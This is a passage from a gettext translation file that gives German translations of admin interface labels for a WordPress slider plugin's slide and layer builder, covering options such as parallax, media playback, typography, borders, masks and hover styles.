msgstr "Nächster Slide beim Ende" #: admin/views/builder-slide-forms.php:216 #: admin/views/builder-layer-forms.php:279 msgid "Rewind at Start" msgstr "Zurückspulen bei Start" #: admin/views/builder-slide-forms.php:217 #: admin/views/builder-layer-forms.php:286 msgid "Mute at Start" msgstr "Stumm beim Start" #: admin/views/builder-slide-forms.php:229 #: admin/views/builder-slide-forms.php:230 #: admin/views/builder-layer-forms.php:306 #: admin/views/builder-layer-forms.php:308 msgid "Arguments" msgstr "Argumente" #: admin/views/builder-slide-forms.php:245 #: admin/views/builder-layer-forms.php:801 msgid "On Scroll Details" msgstr "Scroll Details" #: admin/views/builder-slide-forms.php:249 #: admin/views/builder-layer-forms.php:805 msgid "On Scroll can be Added per Slider in the General Options" msgstr "" "On Scroll kann per Slider in den Allgemeinen Optionen hinzugefügt werden" #: admin/views/builder-slide-forms.php:257 msgid "Parallax & 3D Settings" msgstr "Parallax & 3D Einstellungen" #: admin/views/builder-slide-forms.php:264 msgid "Global Value ! Option to find under Slider Settings - Parallax Tab" msgstr "Globaler Wert! Option unter Slider Settings - Parallax Tab" #: admin/views/builder-slide-forms.php:268 msgid "Parallax Level" msgstr "Parallax Ebene" #: admin/views/builder-slide-forms.php:293 msgid "Scroll Effects" msgstr "Scroll Effekte" #: admin/views/builder-slide-forms.php:297 #: admin/views/builder-slide-forms.php:302 #: admin/views/builder-slide-forms.php:307 #: admin/views/builder-layer-forms.php:848 #: admin/views/builder-layer-forms.php:861 msgid "Enabled - Scroll Based" msgstr "Aktiviert - scrollbasiert" #: admin/views/builder-slide-forms.php:298 #: admin/views/builder-slide-forms.php:303 #: admin/views/builder-slide-forms.php:308 #: admin/views/builder-layer-forms.php:849 msgid "Disabled - Time Based" msgstr "Deaktiviert - zeitbasiert" #: admin/views/builder-slide-forms.php:327 msgid "BG Filter" msgstr "HG Filter" #: admin/views/builder-slide-forms.php:387 msgid "Slide Animation" msgstr "Slide Animation" #: admin/views/builder-slide-forms.php:391 msgid "Active Transition Order" msgstr "Aktive Übergangs-Reihenfolge" #: admin/views/builder-slide-forms.php:393 msgid "Add Transition" msgstr "Übergang hinzufügen" #: admin/views/builder-slide-forms.php:400 msgid "Fade Settings" msgstr "Fade-Einstellungen" #: admin/views/builder-slide-forms.php:419 msgid "Ken Burns / Pan Zoom" msgstr "Ken Burns / Pan Zoom" #: admin/views/builder-slide-forms.php:423 msgid "Pan Zoom Settings" msgstr "PanZoom Einstellungen" #: admin/views/builder-slide-forms.php:483 msgid "Overflow" msgstr "Überlauf" #: admin/views/builder-slide-forms.php:484 msgid "Visible" msgstr "Sichtbar" #: admin/views/builder-slide-forms.php:485 msgid "Hidden" msgstr "Versteckt" #: admin/views/builder-slide-forms.php:488 msgid "Z Position" msgstr "Z-Position" #: admin/views/builder-slide-forms.php:489 msgid "Front" msgstr "Vorderseite" #: admin/views/builder-slide-forms.php:493 msgid "Show Last Edited Slide" msgstr "Letzten bearbeiteten Slide anzeigen" #: admin/views/builder-slide-forms.php:506 msgid "Slide HTML Tags" msgstr "Slide HTML-Tags" #: admin/views/builder-slide-forms.php:511 msgid "ID" msgstr "ID" #: admin/views/builder-slide-forms.php:512 msgid "HTML Data" msgstr "HTML-Daten" #: admin/views/builder-slide-forms.php:519 msgid "Link & Seo" msgstr "Link & Seo" #: admin/views/builder-slide-forms.php:524 msgid "Slide Link" msgstr "Slide Link" #: admin/views/builder-slide-forms.php:527 msgid "Regular" msgstr "Regulär" #: admin/views/builder-slide-forms.php:528 msgid "To Slide" msgstr "Zu Slide" #: admin/views/builder-slide-forms.php:531 msgid "URL" msgstr "URL" #: admin/views/builder-slide-forms.php:532 msgid "Target" msgstr "Ziel" #: admin/views/builder-slide-forms.php:533 msgid "_self" msgstr "_self" #: admin/views/builder-slide-forms.php:534 msgid "_blank" msgstr "_blank" #: admin/views/builder-slide-forms.php:535 msgid "_top" msgstr "_top" #: admin/views/builder-slide-forms.php:536 msgid "_parent" msgstr "_parent" #: admin/views/builder-slide-forms.php:540 msgid "Link to Slide" msgstr "Link zu Slide" #: admin/views/builder-slide-forms.php:542 msgid "Sensibility" msgstr "Sensibilität" #: admin/views/builder-slide-forms.php:543 msgid "Over Layers (Front)" msgstr "Über Layer (Vorderseite)" #: admin/views/builder-slide-forms.php:544 msgid "Behind Layers (Back)" msgstr "Hinter Layer (Rückseite)" #: admin/views/builder-slide-forms.php:563 msgid "Slide Length" msgstr "Slide Länge" #: admin/views/builder-slide-forms.php:566 msgid "Stop Slider Progress" msgstr "Stop Slider Fortschritt" #: admin/views/builder-slide-forms.php:577 msgid "Visible in Navigation" msgstr "Sichtbar in Navigation" #: admin/views/builder-slide-forms.php:578 msgid "Hidden in Navigation" msgstr "Versteckt in Navigation" #: admin/views/builder-slide-forms.php:595 msgid "Publish" msgstr "Veröffentlichen" #: admin/views/builder-slide-forms.php:599 msgid "Published" msgstr "Veröffentlicht" #: admin/views/builder-slide-forms.php:600 msgid "Unpublished" msgstr "Unveröffentlicht" #: admin/views/builder-slide-forms.php:617 msgid "Wordpress Multi Language" msgstr "WordPress Multi Language" #: admin/views/builder-slide-forms.php:623 msgid "Slide Lang." msgstr "Slide Sprache" #: admin/views/builder-slide-forms.php:639 msgid "Parameters" msgstr "Parameter" #: admin/views/builder-slide-forms.php:653 msgid "Description" msgstr "Beschreibung" #: admin/views/builder-slide-forms.php:665 msgid "Loop All Layer Timeline" msgstr "Loop Alle Layer Zeitleiste" #: admin/views/builder-slide-forms.php:667 msgid "Use Slide Loop" msgstr "Slide Loop verwenden" #: admin/views/builder-slide-forms.php:670 msgid "Start" msgstr "Start" #: admin/views/builder-slide-forms.php:671 msgid "End" msgstr "Ende" #: admin/views/builder-slide-forms.php:687 msgid "Module Admin Thumbnail" msgstr "Moduladministrator Miniaturansicht" #: admin/views/builder-slide-forms.php:692 msgid "Admin Thumb" msgstr "Admin Miniaturansicht" #: admin/views/builder-slide-forms.php:701 msgid "Navig. Thumb" msgstr "Navigation Miniaturansicht" #: admin/views/builder-slide-forms.php:707 msgid "Dimension" msgstr "Abmessungen" #: admin/views/builder-slide-forms.php:708 msgid "From Slider Settings" msgstr "Von Slider-Einstellungen" #: admin/views/builder-layer-forms.php:23 msgid "Editor View" msgstr "Editor-Ansicht" #: admin/views/builder-layer-forms.php:23 #: admin/views/builder-layer-forms.php:24 #: admin/views/builder-layer-forms.php:25 msgid "Layer options" msgstr "Layer Optionen" #: admin/views/builder-layer-forms.php:24 msgid "Hover View" msgstr "Hover Ansicht" #: admin/views/builder-layer-forms.php:25 msgid "Animation View" msgstr "Animation Ansicht" #: admin/views/builder-layer-forms.php:30 msgid "Size & Pos" msgstr "Größe & Pos" #: admin/views/builder-layer-forms.php:31 msgid "Adv. Style" msgstr "Erw. Stil" #: admin/views/builder-layer-forms.php:33 msgid "Loop Layer" msgstr "Loop-Layer" #: admin/views/builder-layer-forms.php:34 #: admin/views/builder-layer-forms.php:920 #: admin/views/builder-layer-forms.php:924 msgid "Hover" msgstr "Hover" #: admin/views/builder-layer-forms.php:38 #: admin/views/builder-layer-forms.php:873 #: admin/views/builder-layer-forms.php:876 msgid "Attributes" msgstr "Attribute" #: admin/views/builder-layer-forms.php:39 msgid "Custom CSS" msgstr "Benutzerdefiniertes CSS" #: admin/views/builder-layer-forms.php:40 msgid "Static" msgstr "Statisch" #: admin/views/builder-layer-forms.php:57 msgid "Row Settings" msgstr "Zeile Einstellungen" #: admin/views/builder-layer-forms.php:74 msgid "Columns" msgstr "Spalten" #: admin/views/builder-layer-forms.php:75 msgid "Update Row" msgstr "Zeile aktualisieren" #: admin/views/builder-layer-forms.php:79 msgid "Break At" msgstr "Pause bei" #: admin/views/builder-layer-forms.php:86 msgid "Row Position" msgstr "Zeilenposition" #: admin/views/builder-layer-forms.php:98 msgid "Column Settings" msgstr "Spalteneinstellungen" #: admin/views/builder-layer-forms.php:101 msgid "Vertical Align" msgstr "Vertikal ausrichten" #: admin/views/builder-layer-forms.php:116 msgid "Text/Button Layer Content" msgstr "Inhalt der Text/Buttonebene" #: admin/views/builder-layer-forms.php:121 msgid "Idle" msgstr "Idle" #: admin/views/builder-layer-forms.php:122 msgid "Toggle" msgstr "Umschalten" #: admin/views/builder-layer-forms.php:128 msgid "Meta" msgstr "Meta" #: admin/views/builder-layer-forms.php:136 msgid "Use Toggle" msgstr "Verwenden von Umschalten" #: admin/views/builder-layer-forms.php:137 msgid "Toggled in Hover Style" msgstr "Im Hover Style umgeschaltet" #: admin/views/builder-layer-forms.php:138 msgid "Inverse Toggled Content" msgstr "Umgekehrter umgeschalteter Inhalt" #: admin/views/builder-layer-forms.php:142 msgid "Placeholder" msgstr "Platzhalter" #: admin/views/builder-layer-forms.php:143 msgid "Line Break" msgstr "Zeilenumbruch" #: admin/views/builder-layer-forms.php:143 msgid "Only Manual <br/>" msgstr "Nur manuell & lt; br / & gt;" #: admin/views/builder-layer-forms.php:143 msgid "Width Based" msgstr "Breitenbasiert" #: admin/views/builder-layer-forms.php:143 msgid "Content Based" msgstr "Inhaltsbasiert" #: admin/views/builder-layer-forms.php:143 msgid "Content and Width Based" msgstr "Inhalt und Breite basiert" #: admin/views/builder-layer-forms.php:151 msgid "Text Align" msgstr "Textausrichtung" #: admin/views/builder-layer-forms.php:166 msgid "Image Layer Content" msgstr "Bild-Layer-Inhalt" #: admin/views/builder-layer-forms.php:168 msgid "Image from Stream if exist" msgstr "Bild vom Stream, falls vorhanden" #: admin/views/builder-layer-forms.php:179 #: admin/views/builder-layer-forms.php:181 msgid "Default Setting" msgstr "Voreinstellung" #: admin/views/builder-layer-forms.php:179 msgid "Force Lazy Loading" msgstr "Lazy Loading erzwingen" #: admin/views/builder-layer-forms.php:179 msgid "Ignore Lazy Loading" msgstr "Lazy Loading ignorieren" #: admin/views/builder-layer-forms.php:180 msgid "Source Type" msgstr "Quelle Typ" #: admin/views/builder-layer-forms.php:192 msgid "Media Content" msgstr "Medien Inhalt" #: admin/views/builder-layer-forms.php:196 msgid "Video from Stream if exist" msgstr "Video aus Stream, falls vorhanden" #: admin/views/builder-layer-forms.php:202 msgid "HTML5 Video" msgstr "HTML5 Video" #: admin/views/builder-layer-forms.php:208 msgid "Video ID" msgstr "Video ID" #: admin/views/builder-layer-forms.php:209 msgid "Enter Video ID" msgstr "Video ID eingeben" #: admin/views/builder-layer-forms.php:228 msgid "Preload" msgstr "Vorladen" #: admin/views/builder-layer-forms.php:228 msgid "auto" msgstr "Auto" #: admin/views/builder-layer-forms.php:228 msgid "Meta Data" msgstr "Metadaten" #: admin/views/builder-layer-forms.php:230 msgid "Skip Preload" msgstr "Vorladen überspringen" #: admin/views/builder-layer-forms.php:234 msgid "16:9" msgstr "16:9" #: admin/views/builder-layer-forms.php:234 msgid "4:3" msgstr "4:3" #: admin/views/builder-layer-forms.php:234 msgid "1.85:1" msgstr "1,85: 1" #: admin/views/builder-layer-forms.php:234 msgid "2.39:1" msgstr "2.39: 1" #: admin/views/builder-layer-forms.php:240 msgid "Auto Play" msgstr "Auto Play" #: admin/views/builder-layer-forms.php:240 msgid "Only 1st Time Slide shown" msgstr "Wird nur das 1. Mal angezeigt" #: admin/views/builder-layer-forms.php:240 msgid "On - Skip 1st Time Slide" msgstr "Ein - Überspringen 1. mal Slide" #: admin/views/builder-layer-forms.php:241 msgid "Loop" msgstr "Loop" #: admin/views/builder-layer-forms.php:241 msgid "No Loop" msgstr "Kein Loop" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Pause Slide" msgstr "Loop Media - Slide pausieren" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Do Not Pause Slide" msgstr "Loop Media - Slide nicht anhalten" #: admin/views/builder-layer-forms.php:250 msgid "Media Poster" msgstr "Medienposter" #: admin/views/builder-layer-forms.php:252 msgid "Poster from Stream if exist" msgstr "Poster von Stream, falls vorhanden" #: admin/views/builder-layer-forms.php:255 msgid "YouTube Thumb" msgstr "YouTube Miniaturansicht" #: admin/views/builder-layer-forms.php:259 msgid "Vimeo Thumb" msgstr "Vimeo Miniaturansicht" #: admin/views/builder-layer-forms.php:264 msgid "From Stream" msgstr "Von Stream" #: admin/views/builder-layer-forms.php:265 msgid "Remove Poster" msgstr "Poster entfernen" #: admin/views/builder-layer-forms.php:267 msgid "Poster in Pause" msgstr "Poster in Pause" #: admin/views/builder-layer-forms.php:268 msgid "No Poster on Mobile" msgstr "Kein Poster auf Mobile" #: admin/views/builder-layer-forms.php:269 msgid "Only Poster on Mobile" msgstr "Nur Poster auf mobilen Geräten" #: admin/views/builder-layer-forms.php:274 msgid "Advenced Media Settings" msgstr "Erweiterte Medieneinstellungen" #: admin/views/builder-layer-forms.php:276 msgid "Stop Other Media" msgstr "Stop anderer Medien" #: admin/views/builder-layer-forms.php:277 msgid "Allow Fullscreen" msgstr "Vollbild erlauben" #: admin/views/builder-layer-forms.php:280 msgid "No Interaction" msgstr "Keine Interaktion" #: admin/views/builder-layer-forms.php:282 msgid "Controls" msgstr "Bedienelemente" #: admin/views/builder-layer-forms.php:283 msgid "Large Controls" msgstr "Große Bedienelemente" #: admin/views/builder-layer-forms.php:285 msgid "Inline Mode" msgstr "Inline-Modus" #: admin/views/builder-layer-forms.php:289 msgid "Media Volume (0-100)" msgstr "Medien Volumen (0-100)" #: admin/views/builder-layer-forms.php:290 msgid "1/4" msgstr "1/4" #: admin/views/builder-layer-forms.php:290 msgid "1/2" msgstr "1/2" #: admin/views/builder-layer-forms.php:290 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Normal" msgstr "Normal" #: admin/views/builder-layer-forms.php:290 msgid "x1.5" msgstr "x1,5" #: admin/views/builder-layer-forms.php:290 msgid "x2" msgstr "x2" #: admin/views/builder-layer-forms.php:293 msgid "i.e. 0:15" msgstr "dh 0:15" #: admin/views/builder-layer-forms.php:294 msgid "i.e. 2:41" msgstr "dh 2:41" #: admin/views/builder-layer-forms.php:315 msgid "Shape Layer Content" msgstr "Shape Layer Inhalt" #: admin/views/builder-layer-forms.php:322 msgid "Display Mode in Column" msgstr "Anzeigemodus in Spalte" #: admin/views/builder-layer-forms.php:324 msgid "Display" msgstr "Anzeige" #: admin/views/builder-layer-forms.php:324 msgid "Block" msgstr "Block" #: admin/views/builder-layer-forms.php:324 msgid "Inline-Block" msgstr "Inline-Block" #: admin/views/builder-layer-forms.php:325 msgid "Float" msgstr "Float" #: admin/views/builder-layer-forms.php:326 msgid "Clear" msgstr "Leeren" #: admin/views/builder-layer-forms.php:328 msgid "Add LineBreak Before" msgstr "Zeilenumbruch davor hinzufügen" #: admin/views/builder-layer-forms.php:329 msgid "Add LineBreak After" msgstr "Zeilenumbruch danach hinzufügen" #: admin/views/builder-layer-forms.php:335 msgid "HTML Tag" msgstr "HTML-Tag" #: admin/views/builder-layer-forms.php:337 msgid "Wrapping Tag" msgstr "Wrapping-Tag" #: admin/views/builder-layer-forms.php:337 msgid "<rs-layer>" msgstr "<rs-layer>" #: admin/views/builder-layer-forms.php:337 msgid "<p>" msgstr "<p>" #: admin/views/builder-layer-forms.php:337 msgid "<h1>" msgstr "<h1>" #: admin/views/builder-layer-forms.php:337 msgid "<h2>" msgstr "<h2>" #: admin/views/builder-layer-forms.php:337 msgid "<h3>" msgstr "<h3>" #: admin/views/builder-layer-forms.php:337 msgid "<h4>" msgstr "<h4>" #: admin/views/builder-layer-forms.php:337 msgid "<h5>" msgstr "<h5>" #: admin/views/builder-layer-forms.php:337 msgid "<h6>" msgstr "<h6>" #: admin/views/builder-layer-forms.php:337 msgid "<span>" msgstr "<span>" #: admin/views/builder-layer-forms.php:350 #: admin/views/builder-layer-forms.php:355 msgid "Global Layer Settings" msgstr "Globale Layer Einstellungen" #: admin/views/builder-layer-forms.php:357 msgid "Layer is Global" msgstr "Layer ist global" #: admin/views/builder-layer-forms.php:372 #: admin/views/builder-layer-forms.php:375 msgid "Responsive Behavior" msgstr "Responsives Verhalten" #: admin/views/builder-layer-forms.php:383 msgid "Resize Between Devices" msgstr "Größe zwischen Geräten ändern" #: admin/views/builder-layer-forms.php:405 msgid "Hide \"Under\" Width" msgstr "\"Unter\" Breite ausblenden" #: admin/views/builder-layer-forms.php:406 msgid "Show if mouse over Slider" msgstr "Anzeigen wenn Maus über Slider" #: admin/views/builder-layer-forms.php:415 #: admin/views/builder-layer-forms.php:418 #: admin/views/builder-layer-forms.php:433 msgid "Position & Size" msgstr "Position & Größe" #: admin/views/builder-layer-forms.php:420 #: admin/views/builder-layer-forms.php:479 msgid "Additional" msgstr "Zusätzlich" #: admin/views/builder-layer-forms.php:426 msgid "No options available for your current selection." msgstr "Für Ihre aktuelle Auswahl sind keine Optionen verfügbar." #: admin/views/builder-layer-forms.php:463 msgid "Size Presets" msgstr "Größenvorgaben" #: admin/views/builder-layer-forms.php:463 msgid "Custom Size" msgstr "Benutzerdefinierte Grösse" #: admin/views/builder-layer-forms.php:463 msgid "Full Width" msgstr "Gesamtbreite" #: admin/views/builder-layer-forms.php:463 msgid "Full Height" msgstr "Vollständige Höhe" #: admin/views/builder-layer-forms.php:463 msgid "Stretch" msgstr "Strecken" #: admin/views/builder-layer-forms.php:463 msgid "Cover" msgstr "Cover" #: admin/views/builder-layer-forms.php:466 msgid "Layer Align" msgstr "Layer Ausrichtung" #: admin/views/builder-layer-forms.php:468 msgid "Layer Area" msgstr "Layer Bereich" #: admin/views/builder-layer-forms.php:504 msgid "Font" msgstr "Schriftart" #: admin/views/builder-layer-forms.php:509 msgid "Font & Icon" msgstr "Schrift & Icon" #: admin/views/builder-layer-forms.php:519 msgid "More" msgstr "Mehr" #: admin/views/builder-layer-forms.php:519 msgid "Less" msgstr "Weniger" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Underline" msgstr "Unterstreichen" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Overline" msgstr "Überstrichen" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Line-through" msgstr "Durchgestrichen" #: admin/views/builder-layer-forms.php:527 msgid "Uppercase" msgstr "Großbuchstaben" #: admin/views/builder-layer-forms.php:527 msgid "Lowercase" msgstr "Kleinbuchstaben" #: admin/views/builder-layer-forms.php:527 msgid "Capitalize" msgstr "Erster Buchstabe groß" #: admin/views/builder-layer-forms.php:528 msgid "Selectable" msgstr "Wählbar" #: admin/views/builder-layer-forms.php:528 msgid "Unselectable" msgstr "Nicht auswählbar" #: admin/views/builder-layer-forms.php:533 #: admin/views/builder-layer-forms.php:987 msgid "Text Color" msgstr "Textfarbe" #: admin/views/builder-layer-forms.php:534 msgid "Color in Frame" msgstr "Farbe im Rahmen" #: admin/views/builder-layer-forms.php:546 #: admin/views/builder-layer-forms.php:1000 msgid "SVG Color" msgstr "SVG-Farbe" #: admin/views/builder-layer-forms.php:547 #: admin/views/builder-layer-forms.php:1001 msgid "Stroke Color" msgstr "Strichfarbe" #: admin/views/builder-layer-forms.php:565 msgid "BG in Frame" msgstr "HG in Frame" #: admin/views/builder-layer-forms.php:609 msgid "Spacings" msgstr "Abstände" #: admin/views/builder-layer-forms.php:631 msgid "Inherit" msgstr "Vererben" #: admin/views/builder-layer-forms.php:632 msgid "Middle" msgstr "Mitte" #: admin/views/builder-layer-forms.php:642 msgid "Border" msgstr "Rand" #: admin/views/builder-layer-forms.php:645 #: admin/views/builder-layer-forms.php:1025 msgid "Border Color" msgstr "Randfarbe" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Border Style" msgstr "Randstil" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Solid" msgstr "Solide" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dashed" msgstr "Gestrichelt" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dotted" msgstr "Gepunktet" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Double" msgstr "Doppelt" #: admin/views/builder-layer-forms.php:684 msgid "Basic Transforms" msgstr "Grundlegende Transformationen" #: admin/views/builder-layer-forms.php:700 msgid "Box Shadow" msgstr "Box Schatten" #: admin/views/builder-layer-forms.php:703 #: admin/views/builder-layer-forms.php:732 #: admin/views/builder-layer-forms.php:1568 msgid "Effect" msgstr "Effekt" #: admin/views/builder-layer-forms.php:707 msgid "Shadow on" msgstr "Schatten an" #: admin/views/builder-layer-forms.php:709 msgid "Wrapper Container" msgstr "Wrapper Container" #: admin/views/builder-layer-forms.php:710 msgid "Layer Container" msgstr "Layer Container" #: admin/views/builder-layer-forms.php:723 #: admin/views/builder-layer-forms.php:743 msgid "Shadow Color" msgstr "Schattenfarbe" #: admin/views/builder-layer-forms.php:729 msgid "Text Shadow" msgstr "Text Schatten" #: admin/views/builder-layer-forms.php:749 msgid "Blend Mode" msgstr "Mischmodus" #: admin/views/builder-layer-forms.php:754 msgid "Can not be rendered in Editor. Please preview in Frontend." msgstr "Kann nicht im Editor gerendert werden. Bitte Vorschau im Frontend." #: admin/views/builder-layer-forms.php:757 msgid "Show in Editor" msgstr "Im Editor anzeigen" #: admin/views/builder-layer-forms.php:765 msgid "Spike Masks" msgstr "Spike-Masken" #: admin/views/builder-layer-forms.php:768 msgid "Enable Spikes" msgstr "Aktivieren Sie Spikes" #: admin/views/builder-layer-forms.php:770 msgid "Left Spike" msgstr "Linker Spike" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "No Spikes" msgstr "Keine Spikes" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Top" msgstr "1 Spike Oben" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Middle" msgstr "1 Spike Mitte" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Bottom" msgstr "1 Spike Unten" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Two Spikes" msgstr "Zwei Stacheln" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Three Spikes" msgstr "Drei Stacheln" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Four Spikes" msgstr "Vier Stacheln" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Five Spikes" msgstr "Fünf Stacheln" #: admin/views/builder-layer-forms.php:771 #: admin/views/builder-layer-forms.php:773 msgid "Spike Width" msgstr "Spike Breite" #: admin/views/builder-layer-forms.php:772 msgid "Right Spike" msgstr "Rechter Spike" #: admin/views/builder-layer-forms.php:780 msgid "Sharp Corner Extensions" msgstr "Scharfe Eckerweiterungen" #: admin/views/builder-layer-forms.php:783 msgid "Left Corner" msgstr "Linke Ecke" #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "No Corner" msgstr "Keine Ecke" #: admin/views/builder-layer-forms.php:784 msgid "Right Corner" msgstr "Rechte Ecke" #: admin/views/builder-layer-forms.php:813 msgid "Parallax & 3D" msgstr "Parallax & 3D" #: admin/views/builder-layer-forms.php:815 msgid "Level" msgstr "Niveau" #: admin/views/builder-layer-forms.php:833 msgid "Under Mask" msgstr "Unter der Maske" #: admin/views/builder-layer-forms.php:836 msgid "Attach to BG" msgstr "An HG anhängen" #: admin/views/builder-layer-forms.php:844 msgid "Timeline Scroll Based" msgstr "Zeitleiste Scroll basiert" #: admin/views/builder-layer-forms.php:846 #: admin/views/builder-layer-forms.php:859 msgid "Handling" msgstr "Handhabung" #: admin/views/builder-layer-forms.php:847 #: admin/views/builder-layer-forms.php:860 msgid "Default (Global Settings)" msgstr "Standard (globale Einstellungen)" #: admin/views/builder-layer-forms.php:851 msgid "Start Earlier" msgstr "Früher starten" #: admin/views/builder-layer-forms.php:857 msgid "Filter Effect Scroll Based" msgstr "Filtereffekt scrollbasiert" #: admin/views/builder-layer-forms.php:878 msgid "Layer ID" msgstr "Layer ID" #: admin/views/builder-layer-forms.php:879 #: admin/views/builder-layer-forms.php:885 msgid "Classes" msgstr "Klassen" #: admin/views/builder-layer-forms.php:881 msgid "Rel" msgstr "Rel" #: admin/views/builder-layer-forms.php:882 msgid "TabIndex" msgstr "TabIndex" #: admin/views/builder-layer-forms.php:884 msgid "Wrapper ID" msgstr "Wrapper-ID" #: admin/views/builder-layer-forms.php:896 msgid "Custom Inline & Hover CSS" msgstr "Eigene Inline & Hover CSS" #: admin/views/builder-layer-forms.php:899 #: admin/views/builder-layer-forms.php:903 msgid "CustomCSS" msgstr "Benutzerdefinierte CSS" #: admin/views/builder-layer-forms.php:909 msgid "" "Depricated Function !
            Only visible by Rendering. Limited influence on " "Styled Layers. Custom CSS Inline will be removed in Version 6.2" msgstr "" "Aufgekündigte Funktion!
            Nur beim Rendern sichtbar. Begrenzter Einfluss " "auf gestaltete Ebenen. Benutzerdefiniertes CSS Inline wird in Version 6.2 " "entfernt" #: admin/views/builder-layer-forms.php:929 msgid "Reset Style" msgstr "Reset Stil" #: admin/views/builder-layer-forms.php:931 msgid "Cursor" msgstr "Mauszeiger" #: admin/views/builder-layer-forms.php:932 msgid "Pointer Event" msgstr "Zeigerereignis" #: admin/views/builder-layer-forms.php:934 #: admin/views/builder-layer-forms.php:1169 msgid "Mask" msgstr "Maske" #: admin/views/builder-layer-forms.php:942 msgid "Hover Transform" msgstr "Hover Transformation" #: admin/views/builder-layer-forms.php:949 msgid "zIndex" msgstr "zIndex" #: admin/views/builder-layer-forms.php:984 msgid "Font Hover Style" msgstr "Schrift Hover Style" #: admin/views/builder-layer-forms.php:997 msgid "SVG Hover Style" msgstr "SVG Hover Stil" #: admin/views/builder-layer-forms.php:1015 msgid "Background Hover" msgstr "Hintergrund Hover" #: admin/views/builder-layer-forms.php:1023 msgid "Border Hover" msgstr "Rand Hover" #: admin/views/builder-layer-forms.php:1054 msgid "Filter Hover" msgstr "Filter Hover" #: admin/views/builder-layer-forms.php:1105 msgid "Keyframes" msgstr "Keyframes" #: admin/views/builder-layer-forms.php:1115 msgid "Set as Editor View" msgstr "Als Editoransicht festlegen" #: admin/views/builder-layer-forms.php:1126 #: admin/views/builder-layer-forms.php:1299 msgid "Basics" msgstr "Grundlagen" #: admin/views/builder-layer-forms.php:1131 msgid "Frame Alias" msgstr "Frame-Alias" #: admin/views/builder-layer-forms.php:1138 msgid "Wait for Action" msgstr "Warten auf Aktion" #: admin/views/builder-layer-forms.php:1145 msgid "Force Prepare" msgstr "Vorbereiten erzwingen" #: admin/views/builder-layer-forms.php:1152 msgid "Reverse \"IN\"" msgstr "\"IN\" umkehren" #: admin/views/builder-layer-forms.php:1165 msgid "Layer" msgstr "Layer" #: admin/views/builder-layer-forms.php:1166 msgid "Char" msgstr "Zeichen" #: admin/views/builder-layer-forms.php:1167 msgid "Word" msgstr "Wort" #: admin/views/builder-layer-forms.php:1168 msgid "Line" msgstr "Linie" #: admin/views/builder-layer-forms.php:1171 msgid "SFX" msgstr "SFX" #: admin/views/builder-layer-forms.php:1215 #: admin/views/builder-layer-forms.php:1385 #: admin/views/builder-layer-forms.php:1455 #: admin/views/builder-layer-forms.php:1525 #: admin/views/builder-layer-forms.php:1665 msgid "Filter" msgstr "Filter" #: admin/views/builder-layer-forms.php:1226 #: admin/views/builder-layer-forms.php:1257 #: admin/views/builder-layer-forms.php:1395 #: admin/views/builder-layer-forms.php:1465 #: admin/views/builder-layer-forms.php:1535 msgid "Slide Direction based Mirroring" msgstr "Slide Richtung Spiegelung" #: admin/views/builder-layer-forms.php:1250 msgid "Use Masking" msgstr "Maskierung verwenden" #: admin/views/builder-layer-forms.php:1267 msgid "Use Clip Path" msgstr "Clip-Pfad verwenden" #: admin/views/builder-layer-forms.php:1270 msgid "Rectangle" msgstr "Rechteck" #: admin/views/builder-layer-forms.php:1271 msgid "Circle" msgstr "Kreis" #: admin/views/builder-layer-forms.php:1272 msgid "Inverts" msgstr "Invertiert" #: admin/views/builder-layer-forms.php:1274 msgid "Origin" msgstr "Ursprung" #: admin/views/builder-layer-forms.php:1285 msgid "Diagonal From" msgstr "Diagonale von" #: admin/views/builder-layer-forms.php:1286 #: admin/views/builder-layer-forms.php:1311 #: admin/views/builder-layer-forms.php:1328 msgid "Left Top" msgstr "Links oben" #: admin/views/builder-layer-forms.php:1287 #: admin/views/builder-layer-forms.php:1312 #: admin/views/builder-layer-forms.php:1329 msgid "Right Top" msgstr "Rechts oben" #: admin/views/builder-layer-forms.php:1288 #: admin/views/builder-layer-forms.php:1313 #: admin/views/builder-layer-forms.php:1330 msgid "Right Bottom" msgstr "Rechts unten" #: admin/views/builder-layer-forms.php:1289 #: admin/views/builder-layer-forms.php:1314 #: admin/views/builder-layer-forms.php:1331 msgid "Left Bottom" msgstr "Links unten" #: admin/views/builder-layer-forms.php:1291 msgid "Center Diagonal" msgstr "Mitteldiagonale" #: admin/views/builder-layer-forms.php:1292 msgid "Center - Left Right" msgstr "Mitte - links rechts" #: admin/views/builder-layer-forms.php:1293 #: admin/views/builder-layer-forms.php:1315 #: admin/views/builder-layer-forms.php:1332 msgid "Center - Right Left" msgstr "Mitte - rechts links" #: admin/views/builder-layer-forms.php:1294 #: admin/views/builder-layer-forms.php:1302 #: admin/views/builder-layer-forms.php:1320 msgid "Invert Horizontal" msgstr "Horizontal umkehren" #: admin/views/builder-layer-forms.php:1295 #: admin/views/builder-layer-forms.php:1303 #: admin/views/builder-layer-forms.php:1319 msgid "Invert Vertical" msgstr "Vertikal umkehren" #: 